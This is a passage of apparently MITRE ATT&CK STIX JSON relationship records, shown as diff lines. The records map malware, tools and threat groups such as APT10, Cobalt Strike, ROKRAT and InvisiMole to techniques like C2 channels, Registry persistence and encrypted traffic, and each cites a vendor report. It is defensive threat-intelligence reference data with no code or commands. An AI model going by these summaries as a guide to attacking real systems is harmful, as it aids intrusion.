current logged on user\u2019s username from a machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2ed969c0-be8f-43d1-8226-1009faefaa20", + "external_references": [ + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-08T14:33:16.443Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--84eee49c-e49a-40d1-bdc1-89c613636ef9", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "malware--4189a679-72ed-4a89-a57c-7f689712ecf8" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) uses HTTPS, HTTP, and DNS for C2 communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0c225034-209b-4ea5-b311-65ee9e82f8fe", + "external_references": [ + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T12:40:51.971Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.036Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--19fce62c-ba70-4c20-bf74-0bca7886190c", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) allows adversaries to modify the way the \"beacon\" payload communicates. This is called \"Malleable C2\" in the [Cobalt Strike](https://attack.mitre.org/software/S0154) manual and is intended to allow a penetration test team to mimic known APT C2 methods.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e873321b-0d76-4cd6-bc46-8231cfcdeba0", + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + }, + { + "source_name": "GitHub Malleable C2", + "description": "Mudge, R. (2014, July 14). Github Malleable-C2-Profiles safebrowsing.profile. Retrieved June 18, 2017.", + "url": "https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/safebrowsing.profile" + } + ], + "modified": "2019-06-06T19:04:39.414Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proton](https://attack.mitre.org/software/S0279) zips up files before exfiltrating them.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e898c937-29b0-4e30-aeed-017ac3bbc3ed", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2019-06-24T19:03:52.724Z", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) has a built-in utility command for netstat, can do net session through PowerView, and has an interactive shell which can be used to discover additional information.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--eb3a838e-f6dd-4e9b-8edf-fc652adde117", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:47.937Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[T9000](https://attack.mitre.org/software/S0098) can take screenshots of the desktop and target application windows, saving them to user directories as one byte XOR encrypted .dat files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dd89d8a2-257a-47f9-8b55-8011ca53007b", + "external_references": [ + { + "source_name": "Palo Alto T9000 Feb 2016", + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T16:51:54.146Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.046Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--71416f0d-b037-48b2-a14d-acb1a5f3a4a4", + "external_references": [ + { + "source_name": "Villeneuve 2014", + "description": "Villeneuve, N., Homan, J. (2014, July 31). Spy of the Tiger. Retrieved September 29, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html" + } + ], + "source_ref": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647", + "relationship_type": "uses", + "target_ref": "malware--251fbae2-78f6-4de7-84f6-194c727a64ad" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can use WMI to execute commands.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5ddcecdb-9e54-4e8e-b67b-64d24ec3264a", + "external_references": [ + { + "source_name": "Github Koadic", + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ROCKBOOT](https://attack.mitre.org/software/S0112) is a Master Boot Record (MBR) bootkit that uses the MBR to establish persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--44b56e08-7cd1-442c-8806-c69bb65fd231", + "external_references": [ + { + "source_name": "FireEye Bootkits", + "description": "Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--cba78a1c-186f-4112-9e6a-be1839f030f7", + "relationship_type": "uses", + "target_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125) is capable of using ICMP, TCP, and UDP for C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4ee54acd-fc04-43c2-8cf6-2200a802d0b9", + "external_references": [ + { + "source_name": "Symantec Remsec IOCs", + "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf" + }, + { + "source_name": "Kaspersky ProjectSauron Full Report", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "relationship_type": "uses", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:00:23.928Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.032Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--16fd44bf-405b-49c1-96d7-0cacb5d65e74", + "external_references": [ + { + "source_name": "Cylance Cleaver", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", + "relationship_type": "uses", + "target_ref": "malware--fde50aaa-f5de-4cb8-989a-babb57d6a704" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[nbtstat](https://attack.mitre.org/software/S0102) can be used to discover current NetBIOS sessions.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--980e4dca-4d6b-4206-9c51-bff32c72a961", + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--b35068ec-107a-4266-bda8-eb7036267aea", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware encrypts C2 traffic using RC4 with a hard-coded key.", + "type": "relationship", + "created": "2017-05-31T21:33:27.073Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--73da57b5-e64f-44ee-85f7-d294c21fb534", + "external_references": [ + { + "source_name": "Citizen Lab Stealth Falcon May 2016", + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) searches attached and mounted drives for file extensions and keywords that match a predefined list.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--62507790-a137-409e-a655-9190ff78cb52", + "external_references": [ + { + "source_name": "F-Secure Cosmicduke", + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sakula](https://attack.mitre.org/software/S0074) encodes C2 traffic with single-byte XOR keys.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4e5dff55-c686-4fa6-bad1-caa8507083d9", + "external_references": [ + { + "source_name": "Dell Sakula", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "After downloading its main config file, [Downdelph](https://attack.mitre.org/software/S0134) downloads multiple payloads from C2 servers.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9c7a9bd0-4f52-4c10-8e79-3b6e72d431d1", + "external_references": [ + { + "source_name": "ESET Sednit Part 3", + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RTM](https://attack.mitre.org/software/S0148) can attempt to run the program as admin, then show a fake error message and a legitimate UAC bypass prompt to the user in an attempt to socially engineer the user into escalating privileges.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0d0b4507-b600-41f1-be98-03909e5d99cf", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "relationship_type": "uses", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN10](https://attack.mitre.org/groups/G0051) has used stolen credentials to connect remotely to victim networks using VPNs protected with only a single factor. The group has also moved laterally using the Local Administrator account.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d3b787ec-795c-481b-94e5-ff42dc56d79d", + "external_references": [ + { + "source_name": "FireEye FIN10 June 2017", + "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" + } + ], + "modified": "2019-04-25T12:09:56.319Z", + "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NavRAT](https://attack.mitre.org/software/S0247) creates a Registry key to ensure a file gets executed upon reboot in order to establish persistence.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b28c7fbf-05c6-4be2-9f17-3dcc722cee7c", + "external_references": [ + { + "source_name": "Talos NavRAT May 2018", + "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.", + "url": "https://blog.talosintelligence.com/2018/05/navrat.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ChChes](https://attack.mitre.org/software/S0144) establishes persistence by adding a Registry Run key.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2e44b66a-0f81-4f60-94aa-c450556bc243", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) connects to port 80 of a C2 server using Wininet API.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9a05a8cc-8d3c-46a5-947e-bebed2ab1c5a", + "external_references": [ + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Elise](https://attack.mitre.org/software/S0081) encrypts several of its files, including configuration files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--68bbad6c-1685-4275-bd36-b885a64caf6d", + "external_references": [ + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + } + ], + "modified": "2019-04-17T22:12:24.858Z", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has a command to list account information on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ab3fe31a-051e-4db5-bcf0-20a93b4bae9b", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) uses HTTP for command and control communication.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0fd9bb83-40f0-42ae-8e73-5d207434a757", + "external_references": [ + { + "source_name": "McAfee Bankshot", + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) communicates over ports 80, 443, 53, and 8080 via raw sockets instead of the protocols usually associated with the ports.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2864eb81-71a5-4325-b42a-7a725f0c6887", + "external_references": [ + { + "source_name": "Palo Alto MoonWind March 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) leverages legitimate social networking sites and cloud platforms (Twitter, Yandex, and Mediafire) for command and control communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b45c7b78-55c7-4418-ab03-9f805de7376d", + "external_references": [ + { + "source_name": "Talos ROKRAT", + "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html" + }, + { + "source_name": "Securelist ScarCruft May 2019", + "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.", + "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/" + } + ], + "modified": "2019-07-26T22:56:58.407Z", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level", + "type": "relationship", + "created": "2017-05-31T21:33:27.021Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cd38481c-7c23-4e72-b1b4-056830f5f7f3", + "modified": "2019-07-24T19:19:30.989Z", + "source_ref": "course-of-action--92c28497-2820-445e-9f3e-a03dd77dc0c8", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "To establish persistence, [SslMM](https://attack.mitre.org/software/S0058) identifies the Start Menu Startup directory and drops a link to its own executable disguised as an \u201cOffice Start,\u201d \u201cYahoo Talk,\u201d \u201cMSN Gaming Z0ne,\u201d or \u201cMSN Talk\u201d shortcut.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--79ecf1f6-a17d-4374-a84c-811669e39261", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "modified": "2019-04-25T02:48:47.519Z", + "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", + "relationship_type": "uses", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Starloader](https://attack.mitre.org/software/S0188) decrypts and executes shellcode from a file called Stars.jps.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--283bdd5f-f356-43a2-864c-6f8211073d45", + "external_references": [ + { + "source_name": "Symantec Sowbug Nov 2017", + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--96566860-9f11-4b6f-964d-1c924e4f24a4", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) uses port 80 for C2.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": 